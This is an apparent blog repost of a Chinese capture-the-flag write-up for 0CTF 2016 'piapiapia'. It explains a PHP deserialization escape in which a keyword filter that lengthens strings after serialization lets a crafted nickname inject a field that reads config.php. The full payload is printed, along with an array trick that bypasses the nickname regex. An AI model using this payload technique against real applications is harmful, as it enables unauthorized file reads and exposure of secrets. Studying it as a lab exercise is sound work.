[0CTF 2016]piapiapia(反序列化逃逸)

通过扫描后台目录获得了源码(www.zip)。解压出来发现出了登录之外还有注册和其他的目录。在config.php中发现了flag变量,看来题目目的是让我们读取config.php了。
我们来看下每个页面:
1 index.php,register.php:
这两个个是登录页面和注册页面,要求我们输入的用户名和密码的长度都在3-16内。
2 class.php:
在class.php中我们发现了过滤的函数,一些特殊的符号会用下划线代替,一些特殊的关键字用hacker进行代替。

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

除此之外还有增删改查等等。
3 update.php
在这个页面我们要输入phone,要求是11为的数字。email格式要求类似于[email protected]。nickname要求为数字字母下划线并且长度要小于等于10。但这里应该是出题人故意留的,前两个都是不满足正则则退出,但是nickname是满足才退出,我们可以用数组绕过正则,比如 nickname=a! 会die出去但是nickname[]=a!则会成功执行下面的语句。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname'); 

再往下便到了本题最关键的代码了,序列化再反序列化,序列化是在上传完电话邮箱等信息后,将数组进行序列化。
4 profile.php
在这个里面是将反序列化刚才生成的字符串。然后再将上传的photo中的内容用base64表示。对于我们来说,如果能讲photo中的文件名换成config.php则达成了我们的目的。
在反序列化中有个有趣的现象,我这里举个例子来看一下。对于这段代码,正常的输入如下。但是如果我们修改一下,变成这样,反序列化出来就会把后面的忽略掉。

<?php 
$p='abc';
$f = serialize(array($p));
var_dump($f);
 ?>

a:1:{i:0;s:3:"abc";}

$s = 'a:1:{i:0;s:3:"axx";}bc";}';
var_dump(unserialize($s));

在这里插入图片描述

对于我们这个题,在我们输入正常的电话邮箱绰号照片后,正常的序列化字符串如下:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:3:"abc";s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}

我们目的字符串是:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:3:"abc";s:5:"photo";s:10:"config.php";}

我们唯一能利用的地方就是 nickname我们可以输入 xxx";s:5:“photo”;s:10:“config.php”;}
这样就可以把后面的忽略掉但是这个xxx的长度我们要保证符合真实的长度。这里正好可以利用过滤里的方法,因为nickname是先序列化然后再过滤的,但是生成的序列化字符串的长度还是原来的。比如我们nickname输入的是where长度是5 经过过滤后变成hacker但是长度依然是5.这时我们就可以有一个长度的字符可以利用,每输入一个where就有一个
我们根据我们的目的字符串内容,需要填充的是";}s:5:"photo";s:10:"config.php";}长度为34,如果我们输入34个where则足够填充这些字符达到逃逸的目的
所以最终的payload为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}我们解码base64即可获得flag。

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/104598338